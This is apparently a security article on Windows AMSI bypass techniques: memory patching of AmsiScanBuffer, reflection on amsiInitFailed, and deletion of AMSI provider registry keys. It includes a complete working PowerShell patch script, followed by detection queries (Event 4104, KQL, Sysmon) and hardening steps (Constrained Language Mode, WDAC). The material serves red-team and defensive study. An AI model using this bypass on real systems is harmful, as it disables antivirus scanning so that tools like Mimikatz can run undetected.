Skip to Content
AMSI bypass techniques for PowerShell and .NET memory patching

AMSI Bypass Techniques for PowerShell and .NET

AMSI bypass methods (memory patching, reflection-based disabling and obfuscation) for running PowerShell and .NET payloads that the AV would otherwise block.

Aug 25, 2026
Updated Nov 22, 2026
11 min read

Introduction

The Antimalware Scan Interface (AMSI) is a Windows API, introduced in Windows 10, that lets an application pass a buffer to the registered security product before running it. PowerShell, VBA, JScript, VBScript and .NET all call it. The host application (for example powershell.exe) calls AmsiScanBuffer() in amsi.dll, which forwards the content to the AV engine's COM server for a verdict. If the engine returns AMSI_RESULT_DETECTED, execution is blocked.

AMSI runs entirely in userland, inside the process that calls it. A bypass that works in that same process (patching bytes in memory, flipping internal state through .NET reflection, corrupting the scan context) runs with the privileges of the shell and needs no kernel access.

A bypass does not turn off Script Block Logging (Event ID 4104). PowerShell's own logging pipeline keeps running. A defender who relies on AMSI alone loses visibility once it is patched. One who also has Script Block Logging and Constrained Language Mode still sees the bypass.

Authorization required

Everything below needs explicit written authorization. Running AMSI bypasses on systems you do not own, or have no signed scope of work for, violates the Computer Fraud and Abuse Act and equivalent statutes. Use an isolated lab or an authorized red team engagement.

Impact

  • PowerShell payloads that would otherwise be blocked (Mimikatz, Rubeus, SharpHound) run without the AV triggering.
  • In-memory .NET assemblies loaded with [System.Reflection.Assembly]::Load() skip real-time scanning.
  • PowerShell stagers and loaders get past AV signature detection.
  • Post-exploitation can continue without dropping files to disk, which leaves fewer artifacts.
  • VBA macro payloads can use an AMSI bypass to run shellcode in Office automation contexts.

Technical details

The scan path for PowerShell starts in System.Management.Automation.dll. Before a script block runs, PowerShell calls AmsiUtils.ScanContent(), which P/Invokes into AmsiScanBuffer in amsi.dll. The function signature is:

AmsiScanBuffer signature
HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

A result of AMSI_RESULT_CLEAN (0) lets execution proceed. The function sits at a known RVA in amsi.dll, which is mapped into the PowerShell process. The patch target is the first few bytes of AmsiScanBuffer, which is enough to force a return before the scan happens.

Memory patch flow

Locate amsi.dll in the current process

LoadLibrary("amsi.dll") returns the base address. The DLL is already loaded in any PowerShell session, so GetModuleHandle returns the same handle. GetProcAddress then resolves the address of AmsiScanBuffer.

Mark memory as writable

The code section of a loaded DLL is PAGE_EXECUTE_READ. VirtualProtect changes the protection to PAGE_EXECUTE_READWRITE for the target byte range, typically 6 bytes.

Write the patch bytes

The patch overwrites the function prologue with a sequence that returns success straight away, before any scan runs. On x64, a common patch is:

  • xor eax, eax (0x33, 0xC0), which zeroes EAX
  • ret (0xC3), which returns

AmsiScanBuffer now always returns 0 (S_OK) and never writes to its result out-parameter. The caller's result variable keeps its initial value, which PowerShell sets to AMSI_RESULT_CLEAN before the call, so the content is read as clean.

Restore memory protection (optional)

Putting the original protection (PAGE_EXECUTE_READ) back leaves less for a memory scanner to find. An EDR that watches for executable memory with write permission generates telemetry while the page is writable.

Reflection-based amsiInitFailed bypass

System.Management.Automation.AmsiUtils has a private static field, amsiInitFailed. When it is true, ScanContent returns without calling AmsiScanBuffer. Setting the field through .NET reflection needs no P/Invoke and makes fewer syscalls than memory patching.

.NET assembly load scanning

When code calls [System.Reflection.Assembly]::Load($bytes), the CLR hands the byte array to AMSI before loading it. .NET Framework 4.8 on Windows 10 added this scan for assemblies loaded from memory. The scan goes through AmsiScanBuffer, the same as a PowerShell script block. Patching AmsiScanBuffer before calling Assembly::Load defeats it.

COM provider removal

AMSI routes scan requests to registered providers over COM. The registrations live at HKLM\SOFTWARE\Microsoft\AMSI\Providers\. Removing or corrupting this key unregisters the AV engine's AMSI provider. With no provider there is nothing to return a detection, so AmsiScanBuffer returns AMSI_RESULT_CLEAN. This needs administrator privileges and makes a registry change that defenders can detect.

Attack tools

AmsiScanBuffer patch via P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$lib = [Win32]::LoadLibrary("amsi.dll")
$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

$oldProtect = 0
[Win32]::VirtualProtect($addr, [UIntPtr]5, 0x40, [ref]$oldProtect) | Out-Null

# xor eax,eax; ret
$patch = [Byte[]] (0x33, 0xC0, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 3)

[Win32]::VirtualProtect($addr, [UIntPtr]5, $oldProtect, [ref]$oldProtect) | Out-Null

After this runs, every AmsiScanBuffer call in the current process returns at once with EAX=0. AMSI is off for the rest of that PowerShell session.

Detection

Several independent sources show an AMSI bypass. The main one is Script Block Logging, which a bypass does not disable. Event ID 4104 fires in the PowerShell operational log whatever state AMSI is in, and records the script content before execution, bypass code included.

Detection sourceEvent/queryWhat it catches
PowerShell Script Block LoggingEvent ID 4104Full script content including bypass code
PowerShell Module LoggingEvent ID 4103Module load events, cmdlet parameters
Process creationEvent ID 4688 / Sysmon 1powershell.exe with -EncodedCommand, -NoProfile
Cross-process patch of amsi.dllSysmon 10 (ProcessAccess)Another process opening the PowerShell process. Sysmon has no event for an in-process VirtualProtect call
.NET Runtime ETWMicrosoft-Windows-DotNETRuntimeAssembly loads from non-file sources
RegistrySysmon 13 (Registry Value Set)Deletion of AMSI provider keys
AMSI telemetryWindows Defender ATPScan result anomalies, provider failures
Detect AMSI bypass attempts via Script Block Log
# Query PowerShell Script Block Logging for known bypass strings
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
  Where-Object { $_.Id -eq 4104 } |
  Where-Object { $_.Message -match "AmsiUtils|AmsiScanBuffer|amsiInitFailed|VirtualProtect" } |
  Select-Object TimeCreated, Message
Microsoft Sentinel / Defender KQL: AMSI bypass hunting
SecurityEvent
| where EventID == 4104
| where EventData has_any ("AmsiScanBuffer", "amsiInitFailed", "AmsiUtils", "VirtualProtect", "amsi.dll")
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc
Sysmon: ProcessAccess with amsi.dll in the call trace
Event
| where Source == "Microsoft-Windows-Sysmon"
| where EventID == 10
| where CallTrace contains "amsi.dll"
| project TimeGenerated, SourceImage, TargetImage, CallTrace

Also monitor for reflection access to non-public fields in System.Management.Automation.dll. The .NET runtime ETW provider (Microsoft-Windows-DotNETRuntime with keyword JITKeyword) can show these calls at the method level.

Remediation

Script block logging

Script Block Logging is the most effective countermeasure. Enable it through Group Policy at Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging. It records the deobfuscated content after PowerShell's tokenizer has processed it, so the plaintext shows up in Event ID 4104 even when AMSI is bypassed.

Constrained Language Mode

Constrained Language Mode (CLM), enforced through an AppLocker or WDAC policy, stops .NET reflection. That blocks the reflection-based amsiInitFailed bypass and stops Add-Type compiling the P/Invoke shim used for memory patches.

Check and enforce Constrained Language Mode
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted, ConstrainedLanguage = CLM active

# CLM is enforced by AppLocker or WDAC, not a PowerShell setting
# Verify AppLocker is enforcing:
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

WDAC

Windows Defender Application Control (WDAC) enforces code integrity in the kernel and is much harder to bypass than AppLocker. A WDAC policy in enforced mode stops unsigned PowerShell scripts and unsigned .NET assemblies from running, which blocks file-based delivery of bypass code.

AMSI provider hardening

  • Restrict the ACL on the HKLM:\SOFTWARE\Microsoft\AMSI\Providers key so non-admins cannot delete it.
  • Monitor for provider key deletions with Sysmon Rule ID 13.
  • Check that the AV/EDR product registers an AMSI provider that scans for bypass attempts (most current EDRs do).

PowerShell logging settings

ControlGPO pathMinimum setting
Script Block LoggingWindows PowerShellEnabled
Module LoggingWindows PowerShellEnabled (all modules)
TranscriptionWindows PowerShellEnabled, central share
WDAC PolicyDevice GuardEnforced mode
AppLockerApplication ControlEnforce mode, script rules

References

MITRE ATT&CK techniques

Tools and documentation

Next steps

On this page